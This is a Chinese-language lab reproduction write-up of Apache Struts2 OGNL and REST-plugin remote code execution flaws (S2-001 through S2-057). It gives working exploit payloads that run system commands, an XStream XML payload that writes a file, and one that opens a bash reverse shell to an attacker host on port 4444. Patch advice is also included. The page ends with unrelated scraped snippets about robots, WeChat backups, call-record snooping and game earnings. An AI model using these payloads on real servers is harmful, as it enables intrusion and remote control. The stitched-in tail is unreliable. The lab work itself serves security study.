这里使用 docker 环境进行的复现,下载完毕后,进入靶场环境,编译 docker 环境,启动 docker 环境,下面以一个实例举例命令:cd xxx 目录
自动编译环境
命令:docker-compose build
命令:docker-compose build
启动整个编译环境
命令:docker-compose up –d
查看是否启动成功
访问靶机 8080 端口即可漏洞练习完成后,关闭当前 docker 环境,启用下一个即可
关闭当前环境命令:docker-compose down -v
OGNL 是 Object-Graph Navigation Language 的缩写,它是一种功能强大的表达式语言(Expression Language,简称为 EL),通过它简单一致的表达式语法,可以存取对象的任意属性,调用对象的 *** ,遍历整个对象的结构图,实现字段类型转化等功能。它使用相同的表达式去存取对象的属性。
OGNL 三要素:
表达式是整个 OGNL 的核心,所有的 OGNL 操作都是针对表达式的解析后进行的。表达式会规定此次 OGNL 操作到底要干什么。
根对象可以理解为 OGNL 的操作对象。在表达式规定了“干什么”以后,你还需要指定到底“对谁干”。
有了表达式和根对象,我们实际上已经可以使用 OGNL 的基本功能。例如,根据表达式对根对象进行取值或者设值工作。不过实际上,在 OGNL 的内部,所有的操作都会在一个特定的环境中运行,这个环境就是 OGNL 的上下文环境(Context)。访问 context 对象时候需要在表达式中加上#。
说得再明白一些,就是这个上下文环境(Context),将规定 OGNL 的操作“在哪里进行”。
OGN L 的上下文环境是一个 Map 结构,称之为 OgnlContext。上面我们提到的根对象(Root Object),也会被加入到上下文环境中去,并且这将作为一个特殊的变量进行处理,具体就表现为针对根对象(RootObject)的存取操作的表达式是不需要增加#符号进行区分的。
通过对一系列的 struts2 的 poc 观察,一般是通过修改 StaticMethodAccess 或是创建
ProcessBuilder 对象。
new java.lang.ProcessBuilder(new java.lang.String[]{'cat','/etc/passwd'})).start()
但 struts2 加强了 ognl 的验证,allowStaticMethodAccess 已经变成的 final 属性,但是任然有 *** 可以绕过。
该漏洞因用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式%{value}进行解析,然后重新填充到对应的表单数据中。如注册或登录页面,提交失败后一般会默认返回之前提交的数据,由于后端使用%{value}对提交的数据执行了一次 OGNL 表达式解析,因此它的计算就好像表达式是%{%{1 + 1}}一样,所以可以直接构造 Payload 进行命令执行。
Struts 2.0.0 - 2.0.8
我们先来测试一下这个漏洞有没有存在该安全问题
经验证,后端对用户提交的数据参数进行了 OGNL 表达式%{value}进行解析,并成功返回该参数值,说明该漏洞存在
获取当前主机权限信息
POC:
%{ #a=(new java.lang.ProcessBuilder(new java.lang.String[]
POC:
%{ #a=(new java.lang.ProcessBuilder(new
java.lang.String[])).redirectErrorStream(true).start(),
#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],#d.read(#e),
#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
#f.getWriter().println(new java.lang.String(#e)),
#f.getWriter().flush(),
#f.getWriter().close() }
正常访问:
漏洞测试:
可以看到,我们的正常请求是一个 GET 请求,测试漏洞的时候,是一个 POST 传输,我们在 password 字段传递的值,解码后查看是我们构造的测试 POC:%{'111'},服务器正常响应 200,响应体中 password 的 value 值为 111。
获取当前主机权限信息
执行任意命令
再看获取当前主机权限信息的包和执行任意命令的包,和之前的包对比,发现返回结果没有了 password 的 class 对象,返回结果直接在响应体最下方
从 XWork 2.0.4 开始,OGNL 解析已更改,因此它不是递归的。因此,在上面的示例中,结果将是预期的%{1 + 1}。您可以获取WebWork 2.0.4或Struts 2.0.9,其中包含已更正的XWork 库。或者,您可以获取补丁并将其自己应用于 XWork 源代码。
s2-005 漏洞的起源源于 S2-003(受影响版本: 低于 Struts 2.0.12), struts2 会将 http 的每个参数名解析为 OGNL 语句执行(可理解为 java 代码)。OGNL 表达式通过#来访问 struts 的对象,struts 框架通过过滤#字符防止安全问题,然而通过 unicode 编码(#)或 8 进制(\43)即绕过了安全限制,对于 S2-003 漏洞,官方通过增加安全配置(禁止静态 *** 调用和类 *** 执行等)来修补,但是安全配置被绕过再次导致了漏洞,攻击者可以利用 OGNL 表达式将这 2 个选项打开
Struts 2.0.0-2.1.8.1
age 当配置了验证规则,类型转换出错时,进行了错误的字符串拼接,进而造成了 OGNL 语句的执行。
Struts 2.0.0 - 2.2.3
构造 POC:
' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new
java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo, @org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('whoa mi').getInputStream())) + '
通过查看流量日志,在请求体 age 字段中包含我们构造的 POC,服务器状态码返回 200,响应体中 age 字段 value 值为返回结果。
升级到 Struts 2.2.3.1
struts2.2.3.1 对这个漏洞进行了修复,修复 *** 也异常简单,类似于 sql 注
入的 addslashes,对其中的单引号进行了转义在 getOverrideExpr函数中进行了 StringEscape,从而无法闭合单引号,也就无法构造 OGNL 表达式。
S2-008 涉及多个漏洞,Cookie 拦截器错误配置可造成 OGNL 表达式执行,但是由于大多 Web 容器(如 Tomcat)对 Cookie 名称都有字符
限制,一些关键字符无法使用使得这个点显得比较鸡肋。另一个比较鸡肋
的点就是在 struts2 应用开启 devMode 模式后会有多个调试接口能够直接查看对象信息或直接执行命令,但是这种情况在生产环境中几乎不可能存在,所以还是很鸡肋。
Struts 2.1.0 – 2.3.1
构造 POC:
/devmode.action?debug=command&expression=#context["xwork.
MethodAccessor.denyMethodExecution"]=false,#f=#_memberAcce ss.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setA ccessible(true),#f.set(#_memberAccess,true),#a=@java.lang.Runti me@getRuntime().exec("whoami").getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#genxor=#context.get("com.opensympho ny.xwork2.dispatcher.HttpServletResponse").getWriter(),#genxor.p rintln(#d),#genxor.flush(),#genxor.close()
通过查看流量日志,GET 请求中携带了本次攻击的 POC,服务器状态码返回 200,响应体中为返回结果。
强烈建议升级到包含更正后的类的 Struts 2.3.18或更高版本。
更新至 2.3.18 的 Struts 和应用更强的 acceptedParamNames 过滤器的 ParameterInterceptor 和 CookieInterceptor:
acceptedParamNames="[a-zA-Z0-9\.][()_']+";
OGNL提供了广泛的表达式评估功能等功能。该漏洞允许恶意用户绕过
ParametersInterceptor内置的所有保护(正则表达式,拒绝 *** 调用),从而能够将任何暴露的字符串变量中的恶意表达式注入进行进一步评估。
ParametersInterceptor中的正则表达式将top ['foo'](0)作为有效的表达式匹配,OGNL将其作为(top ['foo'])(0)处理,并将“foo”操作参数的值作为OGNL表达式求值。这使得恶意用户将任意的OGNL语句放入由操作公开的任何String变量中,并将其评估为OGNL表达式,并且由于OGNL语句在 HTTP参数中,攻击者可以使用黑名单字符(例如#)禁用 *** 执行并执行任意 *** ,绕过ParametersInterceptor和OGNL库保护。
Struts 2.1.0 - 2.3.1.1
POC1:
/ajax/example5?age=1&name=(%23context[%22xwork.MethodAccessor.denyMet hodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22a llowStaticMethodAccess%22]=true,+%23a=@java.lang.Runtime@getRuntime() .exec(%27whoami%27).getInputStream(),%23b=new+java.io.InputStreamRead er(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],% 23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getR esponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z
[(name)(%27meh%27)]
POC2:
POST /ajax/example5 HTTP/1.1
Accept: **
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/xml
Content-Length: 2430
?
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class="e8e5-da6d-881f-34f6 com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="da6d-881f-34f6-df4c com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="881f-34f6-df4c-dabf javax.crypto.CipherInputStream">
<cipher class="313f-465c-3f0c-d145 javax.crypto.NullCipher">
<initialized>false</initialized>
<opmode>0</opmode>
<serviceIterator class="465c-3f0c-d145-fbed javax.imageio.spi.FilterIterator">
<iter class="3f0c-d145-fbed-3f98 javax.imageio.spi.FilterIterator">
<iter class="d145-fbed-3f98-fa40 java.util.Collections$EmptyIterator"/>
<next class="fbed-3f98-fa40-3fda java.lang.ProcessBuilder">
<command>
<string>/usr/bin/touch</string>
<string>/tmp/shell.txt</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="3f98-fa40-3fda-b5e1 javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="fa40-3fda-b5e1-1b36 string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="3fda-b5e1-1b36-c525 java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer></ibuffer>
<done>false</done>
<ostart>0</ostart>
<ofinish>0</ofinish>
<closed>false</closed>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<jdk.nashorn.internal.objects.NativeString reference="https://www.freebuf.com/articles/jdk.nashorn.internal.objects.NativeString"/>
</entry>
<entry>
<jdk.nashorn.internal.objects.NativeString reference="https://www.freebuf.com/entry/jdk.nashorn.internal.objects.NativeString"/>
<jdk.nashorn.internal.objects.NativeString reference="https://www.freebuf.com/entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>
其中<command></command>字段为执行的命令,在/tmp下创建一个shell.txt文件。重放报错,但可以在容器/tmp文件下发现shell.txt文件,证明漏洞复现成功。
利用该漏洞反弹shell,payload如下:
POST /orders/3/edit HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/xml
Content-Length: 2496
?
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class="b5e1-1b36-c525-e89c com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="1b36-c525-e89c-e8e5 com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="c525-e89c-e8e5-da6d javax.crypto.CipherInputStream">
<cipher class="e89c-e8e5-da6d-881f javax.crypto.NullCipher">
<initialized>false</initialized>
<opmode>0</opmode>
<serviceIterator class="e8e5-da6d-881f-34f6 javax.imageio.spi.FilterIterator">
<iter class="da6d-881f-34f6-df4c javax.imageio.spi.FilterIterator">
<iter class="881f-34f6-df4c-dabf java.util.Collections$EmptyIterator"/>
<next class="313f-465c-3f0c-d145 java.lang.ProcessBuilder">
<command>
<string>bash</string>
<string>-c</string>
<string>bash -i >&amp; /dev/tcp/your-ip/4444 0>&amp;1</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="465c-3f0c-d145-fbed javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="3f0c-d145-fbed-3f98 string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="d145-fbed-3f98-fa40 java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer></ibuffer>
<done>false</done>
<ostart>0</ostart>
<ofinish>0</ofinish>
<closed>false</closed>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<jdk.nashorn.internal.objects.NativeString reference="https://www.freebuf.com/articles/jdk.nashorn.internal.objects.NativeString"/>
</entry>
<entry>
<jdk.nashorn.internal.objects.NativeString reference="https://www.freebuf.com/entry/jdk.nashorn.internal.objects.NativeString"/>
<jdk.nashorn.internal.objects.NativeString reference="https://www.freebuf.com/entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>
在远程命令执行过程中,由于服务器不识别&这个符号,需要编码,将&换成
在攻击机里面监听4444端口,拿到shell。
立即升级到Struts 2.5.13。
注意:
新版本使用的默认限制策略会导致REST的一些函数停止工作,会对一些业务造成影响,建议使用以下新的接口:
apache.struts2.rest.handler.AllowedClasses
apache.struts2.rest.handler.AllowedClassNames
apache.struts2.rest.handler.XStreamPermissionProvider
临时修复方案
1.停止使用REST插件。
2.限制服务端扩展类型:
<constant name="struts.action.extension" value="xhtml,,json" />
2017年9月7日,Apache Struts发布最新的安全公告,Apache Struts 2 存在一个远程代码执行漏洞,漏洞编号为CVE-2017-12611(S2-053)。该漏洞源于在处理Freemarker标签时,如使程序员使用了不恰当的编码表达会导致远程代码执行。
漏洞信息页面:https://cwiki.apache.org/confluence/display/WW/S2-053
漏洞成因官方概述:A possible Remote Code Execution attack when using an unintentional expression in Freemarker tag instead of string literals
Struts 2.0.1 – Sturts 2.3.33
Struts 2.5 – Struts 2.5.10
POC:
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess? (#_memberAccess=#dm): ((#container=#context['com.opensymphony.xwork2.ActionContext.container']). (#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)) .(#ognlUtil.getExcludedPackageNames().clear()). (#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))). (#cmd='calc').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))). (#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)). (#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())). (@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)). (#ros.flush())}
整体的调用流程大概是:
通过freemarker.template.Template类的process *** ,开始解析模板。
将 struts2 标签解析成UnifiedCall对象,随即调用 struts2 标签组件进行解析。
解析标签中的各个属性值,遇到OGNL表达式则解析并执行表达式。
此处我们暂不讨论 Freemarker 模板引擎解析模板的过程,我们直接关注org.apache.struts2.components.UIBean这个类。解析过程中会调用这个类的evaluateParams ***
这里的指的是标签对象(继承自类),所以此处的即为 hidden 标签的 name 属性值(此处为解析后的值)。跟进 *** ,可以发现其本质上是调用的 *** ,在 *** 里面会进行是否内嵌表达式的判断。
跟进 *** ,可以发现其是通过判断表达式是否被和包裹,如果是则返回,然后进入 *** 中。
再来看 *** ,这里有多层调用,我们直接到最后一层。 *** 中主要是创建了一个解析器(本质上是接口,但是通过获取实例进行调用,这里实例为),然后调用其 *** (箭头所指)对表达式进行计算。
在的 *** 中,又调用了的 *** (即上图红框部分)。
这里会触发 *** ,然后经过一系列调用,来到类的 *** 。会先从缓存中查看是否为已执行的表达式,否则会通过 *** 进行语法树解析,然后通过判断是否开启执行表达式功能。
这里为,由于的类型为,继承自,所以需要对当前的进行和的判断。但显然此处不是类型,也不是类型,因此返回的都是。
回到 *** ,会调用到的 *** ,实质上就是 *** ,后续部分就是对Ognl表达式的解析执行了,此处不再阐述。
用户应避免在Freemarker的结构代码中使用可写的属性,或者使用只读属性来初始化value属性(仅限 getter属性)。
用户可以升级到Apache Struts版本2.5.12或2.3.34,其中包含更多受限制的Freemarker配置,但是更好删除易受攻击的构造。
当struts.mapper.alwaysSelectFullNamespace设置为true,并且package标签页以及result的param标签页的namespace值的缺失,或使用了通配符时可造成namespace被控制,最终namespace会被带入OGNL语句执行,从而产生远程代码执行漏洞。
Apache Struts 2.3 - Struts 2.3.34
Apache Struts 2.5 - Struts 2.5.16
1.下载:http://archive.apache.org/dist/struts/2.3.34/struts-2.3.34-all.zip用IDEA打开
2.首先修改配置文件\struts-2.3.34\src\apps\showcase\src\main\resources\struts-actionchaining.xml为
<?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE struts PUBLIC "-//Apache Software Foundation//DTD Struts Configuration 2.3//EN" "http://struts.apache.org/dtds/struts-2.3.dtd"> <struts> <package name="actionchaining" extends="struts-default"> ? <action name="actionChain1" class="fbed-3f98-fa40-3fda org.apache.struts2.showcase.actionchaining.ActionChain1"> ? <result type="redirectAction"> ? ? <param name="actionName">register2</param> ? </result> ? </action> </package> </struts>
3.在struts-2.3.34\src\apps\showcase\src\main\resources\struts.xml中添加<constant name="struts.mapper.alwaysSelectFullNamespace" value="true" />
添加tomcat运行
1.访问http://localhost:8081/${(111+111)}/actionChain1.action
POC
/struts2_showcase_war_exploded/showcase/${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#cmd=@java.lang.Runtime@getRuntime().exec("calc"))}/actionChain1.action
主要分析了两种攻击点一:Redirect action和攻击点二:Postback result为了方便调试我用了/${(111+111)}进行分析更能展现出ONGL注入时的过程
Redirect action:
1.之一种方式在\struts-2.3.34\src\xwork-core\src\main\ja
va\com\opensymphony\xwork2\DefaultActionInvocation.java# @executeResult()处下断点进行调试
2.进入struts-2.3.34\src\core\src\main\java\org\apache\struts2\dispatcher\ServletActionRedirectResult.java# @execute()
3.进入\struts-2.3.34\src\xwork-core\src\main\java\com\opensymphony\xwork2\DefaultActionProxy.java#@getNamespace()可以看到result对象的namespace即为/${(111+111)}。
4.回到execute()
进入struts-2.3.34\src\core\src\main\java\org\apache\struts2\dispatcher\mapper\DefaultActionMapper.java#@getUriFromActionMapping(),跟入handleNamespace()观察如何处理值
5.handleNamespace最终结果如下
6.返回到execute()跟进super.execute()
7.可以看到最后通过 \struts-2.3.34\src\core\src\main\java\org\apache\struts2\dispatcher\StrutsResultSupport.java# @doExecute()
lastFinaLocation 111+111=222 即产生了OGNL注入。
第二种 ***
1.先修改struts.actionchaing.xml中内容
2.在\struts-2.3.34\src\xwork-core\src\main\java\com\opensymphony\xwork2\DefaultActionInvocation.java# @executeResult()可以看到 这个result对象的处理方式为 postback
3.进入execute(),跟进makePostbackUri
4.跟进\struts2.3.34\src\core\src\main\java\org\apache\struts2\dispatcher\mapper\DefaultActionMapper.java# @getUriFromActionMapping() ,进入handleNamespace()观察处理值过程
5.handleNamespace()处理值过程如下
6.回到\struts-2.3.34\src\core\src\main\java\org\apache\struts2\dispatcher\PostbackResult.java # @makePostbackUri()
可以看到postbackUri为/${(111+111)}/register2.action
7.我们继续回到\struts-2.3.34\src\core\src\main\java\org\apache\struts2\dispatcher\PostbackResult.java# @execute() *** 中往下走到super.execute()跟进
8.可以看到最后通过 \struts-2.3.34\src\core\src\main\java\org\apache\struts2\dispatcher\StrutsResultSupport.java# @doExecute()
lastFinaLocation 111+111=222 即产生了OGNL注入。
修复建议
1.官方补丁
目前官方已发布最新版本来修复此漏洞,受影响的用户请尽快升级到Apache Struts 2.3.35 或 Struts 2.5.17版本:
https://struts.apache.org/download.cgi#struts2517。
2.手工修复
修改配置文件:
固定package标签页以及result的param标签页的namespace值,以及禁止使用通配符。
疫情期,诸如医院、工厂、写字楼、校园等复工急或人流量大的地方,紧缺高效率、抗感染、应用范围广能替代人工的防疫工具,由此催生了配送机器人、消毒机器人、医疗机器人等等机器人“新成员”。 配送达人。疫情...
微信备份的聊天记录怎么查看?随着时代的进步,大家更换新手机的速度也越来越快,换手机很简单,但随之而来的问题就是数。 微信备份的聊天记录怎么查看?随着时代的进步,大家更换新手机的速度也越来越快,换手机很...
中国移动查老公的手机通话清单(查老公的手机通话清单怎么查) 仍然可以确定停机时间手机的位置,但不太准确。在早期阶段,手机没有关机,SIM卡在手机上。 手机关机,也将连接到互联网。 手机不...
我们知道,QQ空间自从蛮久以来,改版后就在右侧出现了个“标记好友”。如果你不管它,它会随着你往下拉网页一直出现在那。这让很多人都感觉不爽,尤其是出现一些并不想看到的人的照片的时候,那种感觉更甚!而小编...
本文导读目录: 1、shopee平台如何拉黑买家? 2、虾皮app买家怎么切换站点 3、虾皮店铺客户一直不取消订单该怎么办 4、虾皮卖家聊天软件多个虾皮店铺客服是怎么用的? 5、虾皮拉...
玩游戏可以赚钱?虽然看似一句玩笑话,但在现在玩游戏赚钱其实是非常容易的,97973豆豆下面就将为大家带来王者荣耀赚钱的方法,想要在游戏之余赚些外快的朋友可千万不要错过了。 方法一:代练 代练可...